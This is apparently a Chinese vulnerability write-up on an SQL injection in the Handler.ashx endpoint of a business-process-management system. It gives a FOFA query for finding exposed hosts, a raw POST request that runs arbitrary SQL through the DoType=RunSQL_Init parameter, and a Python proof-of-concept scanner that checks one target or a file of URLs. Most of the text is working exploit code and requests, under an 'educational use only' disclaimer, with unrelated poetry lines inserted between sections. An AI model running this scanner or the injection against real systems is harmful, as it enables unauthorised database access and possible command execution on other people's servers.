声明：本文档或演示材料仅供教育和教学目的使用，任何个人或组织使用本文档中的信息进行非法活动，均与本文档的作者或发布者无关。

漏洞描述

某骋BPM系统是一款功能全面的商业流程管理平台,旨在帮助企业实现业务流程的自动化和优化。该系统集成了工作流引擎、表单设计、报表分析等核心功能,可以帮助企业快速建立起标准化的业务流程,提高工作效率和管理透明度。某骋BPM支持多种行业应用场景,如采购审批、费用报销、合同管理等,拥有丰富的行业模板,能够快速部署上线。同时,系统提供可视化的流程建模工具,让业务人员也能轻松参与流程设计和优化。凭借强大的功能和出色的用户体验,驰骋BPM助力企业实现数字化转型,提升整体运营管理水平。其接口Handler.ashx存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息，也可通过数据库执行系统命令。

漏洞复现

信息收集
fofa：body="BP.WF.HttpHandler.WF_Portal"

清江一曲抱村流，长夏江村事事幽。

构造数据包

POST /WF/Comm/Handler.ashx?DoType=RunSQL_Init HTTP/1.1
Host:ip
User-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1
Content-Length: 147

------3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1
Content-Disposition: form-data; name="SQL"

SELECT HASHBYTES('MD5', '123456')
------3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1--

成功回显，证明漏洞存在。

测试工具

poc

import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
import re
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    target = urljoin(url, "/WF/Comm/Handler.ashx?DoType=RunSQL_Init")
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
        "Content-Type": "multipart/form-data; boundary=----3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1"
    }
    data='------3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1\r\nContent-Disposition: form-data; name="SQL"\r\n\r\nSELECT HASHBYTES(\'MD5\', \'123456\')\r\n------3Vn7mG2Td4Aq6Ew8Zj9Px5Bh1--'
    try:
        response = requests.post(target, verify=False, headers=headers, timeout=5,data=data)
        if response.status_code == 200 and '4QrcOUm6Wau+VuBX8g+IPg==' in response.text :
            print(f"\033[31mDiscovered:{url}: CCBPM_Handler_Init_SQLInject!\033[0m")
            return True
    except Exception as e:
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

运行截图

人们之所以会怀念故乡，是因为心爱的人就在故乡。